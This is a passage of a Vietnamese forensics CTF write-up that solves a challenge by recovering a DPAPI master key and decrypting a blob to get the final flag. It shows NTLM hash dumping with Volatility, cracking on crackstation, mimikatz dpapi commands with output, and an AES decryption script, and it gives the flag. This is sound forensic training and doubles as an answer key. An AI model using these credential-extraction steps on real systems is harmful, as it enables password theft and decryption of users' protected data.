/in:"" /sid: /password: ``` - `/in:"..."`: path đến file master key được mã hóa từ folder Protect - `/sid:...`: Security Identifier (SID) của user account mà master key thuộc về. Nó phải match với bối cảnh người dùng mà master key được generate ra - `/password:...`: Mật khẩu đăng nhập của người dùng (plaintext hoặc NTLM hash), dùng để giải mã master key. Mật khẩu này xác thực quá trình giải mã ### Extract folder Protect từ disk.ad1 Sử dụng FTK Imager để export folder ra ![image](https://hackmd.io/_uploads/HkYgetUCxg.png) Bên trong thư mục con có tiếp như sau ![image](https://hackmd.io/_uploads/ryqVxYURxx.png) Ta đã có `/n:"4dc3472c-8370-4831-9124-f45a6d742757"` và `/sid:S-1-5-21-2532670039-4151104164-2696135040-1001`, giờ cần `/password` ### Extract mật khẩu từ bộ nhớ Để khôi phục mật khẩu đã dùng cho giải mã DPAPI, ta cần extract nó trực tiếp từ bộ nhớ. Điều này rất hữu ích khi người dùng đã log in và credential của họ vẫn được lưu trong bộ nhớ Ta sẽ dùng plugin `windows.hashdump` của Volatility 3 để extract hash của mật khẩu, từ đó dùng tool như Hashcat hay John the Ripper để crack ra plaintext Plugin `hashdump` hoạt động bằng cách - Nhắm vào cơ sở dữ liệu của`SAM` (Security Account Manager) đã load trong bộ nhớ - Extract - Username - RID (Relative Indentifier) - LM hash (thường bị disable trong các hệ thông hiện đại) - NTLM hash (sử dụng cho xác thực mật khẩu) RID là đoạn cuối của SID và cho biết đó là user nào `S-1-5-21-2532670039-4151104164-2696135040-1001` Trong đó - `S-1-5-21-2532670039-4151104164-2696135040` xác định máy hoặc domain - `1001` là RID, xác định người dùng cụ thể, trong trường hợp này là `abdelrhman322` Một số RID phổ biến - 500: Admin - 501: Tài khoản guest - 1001+: Tài khoản thường ### Extract NTML hash ![image](https://hackmd.io/_uploads/HkSIMYLRex.png) Đã có được các hash ở bên dưới, theo thứ tự là Username, RID, LM Hash và NTLM Hash ### Crack NTML Hash Để crack hash của abdelrhman322 thì dùng [crackstation](https://crackstation.net/) ![image](https://hackmd.io/_uploads/rkNx7FUClx.png) Như vậy có mật khẩu là `5563756` ### Extract DPAPI Master Key với Mimikatz Sau đó dùng mimikatz có như sau ```bash mimikatz # dpapi::masterkey /in:"C:\Users\Quan\Downloads\ForensicTasks\BreadcrumbNCKH\Protect\S-1-5-21-2532670039-4151104164-2696135040-1001\4dc3472c-8370-4831-9124-f45a6d742757" /sid:S-1-5-21-2532670039-4151104164-2696135040-1001 /password:5563756 ... [masterkey] with password: 5563756 (normal user) key : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2 sha1: 06e25d82fd8c0eab4104b47e176c3b8398786f4a ``` ### Giải mã encrypted.bin với master key Tiếp tục giải mã `encrypted.bin` với masterkey đó ```bash mimikatz # dpapi::blob /in:"C:\Users\Quan\Downloads\ForensicTasks\BreadcrumbNCKH\encrypted.bin" /masterkey:e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2 **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {4dc3472c-8370-4831-9124-f45a6d742757} dwFlags : 00000000 - 0 () dwDescriptionLen : 00000002 - 2 szDescription : algCrypt : 00006610 - 26128 (CALG_AES_256) dwAlgCryptLen : 00000100 - 256 dwSaltLen : 00000020 - 32 pbSalt : b294a0817a260c11410984020c614f6e8a16aed3fc2746432f57fd2efba023b9 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 0000800e - 32782 (CALG_SHA_512) dwAlgHashLen : 00000200 - 512 dwHmac2KeyLen : 00000020 - 32 pbHmack2Key : aa967b46ecf2788004467c183f1032bc72fcdc6fab914287446b562b239672b9 dwDataLen : 00000020 - 32 pbData : b84520d25631e0b2f38927cf6c778b0189c3167522f7eeac93d0d3081d1b0050 dwSignLen : 00000040 - 64 pbSign : 605d87ec9090ef8a90a4688cbac24686f2e3dd2dc6c8a8f4f7d0889734dc8e0a8758be8c3d4ec43be341ab01252c99ac811db8f771ac12b0829f904f5876a393 * volatile cache: GUID:{4dc3472c-8370-4831-9124-f45a6d742757};KeyHash:06e25d82fd8c0eab4104b47e176c3b8398786f4a;Key:available * masterkey : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2 description : data: 6d 79 5f 73 75 70 65 72 5f 73 65 63 72 65 74 5f ``` ### Giải mã payload Sau khi lấy được AES key, có thể giải mã `encrypted.bin`. Sử dụng script python sau để giải mã sử dụng AES-CBC mode ```python= from Crypto.Cipher import AES key = bytes.fromhex("6d795f73757065725f7365637265745f") iv = b"1234567891011123" ciphertext = bytes.fromhex("6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412") cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_data = cipher.decrypt(ciphertext) print(decrypted_data) ``` Sau khi chạy script thì ra part cuối của flag ![image](https://hackmd.io/_uploads/Skt5tFU0ll.png) `is_where_the_challenge_begins}` Như vậy, ghép cả 3 part lại ta có được flag cuối cùng ``` FLAG: L3AK{AV_evasion_is_easy_Mastering_forensics_is_where_the_challenge_begins} ``` > Tham khảo từ: `https://abdelrahme.github.io/posts/L3akCTF-2025/`